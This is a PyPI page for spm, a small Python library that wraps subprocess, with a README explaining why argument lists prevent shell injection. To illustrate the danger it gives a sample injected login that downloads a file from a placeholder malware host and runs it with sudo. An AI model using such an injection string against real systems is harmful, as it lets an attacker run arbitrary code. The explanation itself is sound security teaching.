Skip to main content

spm (SubProcessesManager)

>>> import spm
>>> spm.run('echo', '-n', 'hello world').stdout.read()
'hello world'
>>> import functools
>>> git = functools.partial(spm.run, 'git')
>>> git('status', '-z').stdout.read().split(b'\x00')
[' M spm.py', '']

This provides a very thin KISS layer on top of the python standard library’s subprocess module. This library supports Python 2 and Python 3.

This makes it easy to pipe subprocesses, and pipe subprocesses input/output to files.

It only has four rules:

  • Simple programming interface

  • Don’t reimplement the wheel. (It tries uses the subprocess standard module as much as possible)

  • It only does one thing, and try to do it well.

  • Use argument list instead of one command string.

Secure subprocess invokation

For those who don’t understand the last rule. There are two ways to ways to invoke subprocesses in python: One method is insecure, the other one is secure.

import subprocess

# Insecure subprocess invocation
subprocess.check_call("echo foo", shell=True)
# Secure subprocess invocation
subprocess.check_call(['echo', 'foo'])

The second one is secure, because it prevents shell code injection. If we over simplify, the first method, could be implemented this way:

def insecure_check_call(command_line):
    """
    Same as check_call(shell=True)
    """
    # Runs /bin/bash -c "the given command line"
    subprocess.check_call(['/bin/bash', '-c', command_line])

Let’s use the following code as example:

import subprocess
# Get insecure and unchecked data from a user
from somewhere import get_login_from_user()

def create_user():
    cmd = "sudo useradd '{}'".format(get_login_from_user())
    subprocess.check_call(cmd)

A user can inject code if they enter the login ' || wget http://malware.example.com/malware -O /tmp && sudo /tmp/malware. Because this will execute: sudo user '' || wget [...] -O /tmp && sudo /tmp/malware.

Why another library?

XKCD Comic strip: "How Standards Profilef

Here are the existing libraries:

  • sh: doing to much. The programming interface for piping commands is complex and bad.

  • execute: old, vulnerable to shell injection.

And many other are unmaintained or worse.

What do you mean by KISS?

KISS lost it original sense. Now it’s just an hipster word which means “just use my library because it’s cool”.

Here I mean KISS in its original sense: Keep It Simple and Stupid.

  • Simple: this library is one file with less than 500 lines (excluding testing)

  • Stupid: this library has two functions: pipe() and run()

Metadata

Release files for spm 0.9.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for spm 0.9.1
File Size Uploaded Provenance Actions
spm-0.9.1.tar.gz 4.8 kB Without provenance Details for spm-0.9.1.tar.gz

Release files / spm-0.9.1.tar.gz

Download URL spm-0.9.1.tar.gz
Size 4.8 kB
Tags Source
SHA-256 checksum
How to use checksums
c17d31035ebc553d730f3faf17e2e4041bfccba70020fdf6eb57412563a37988
BLAKE2b-256 checksum
How to use checksums
94adb6a1f7f5f9f95ad223ffb3fabbdac7a3ae5ff9be6a9f6075ac69b6160c45
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No

Security for spm 0.9.1

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

0.9.1 This release

1 release file No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page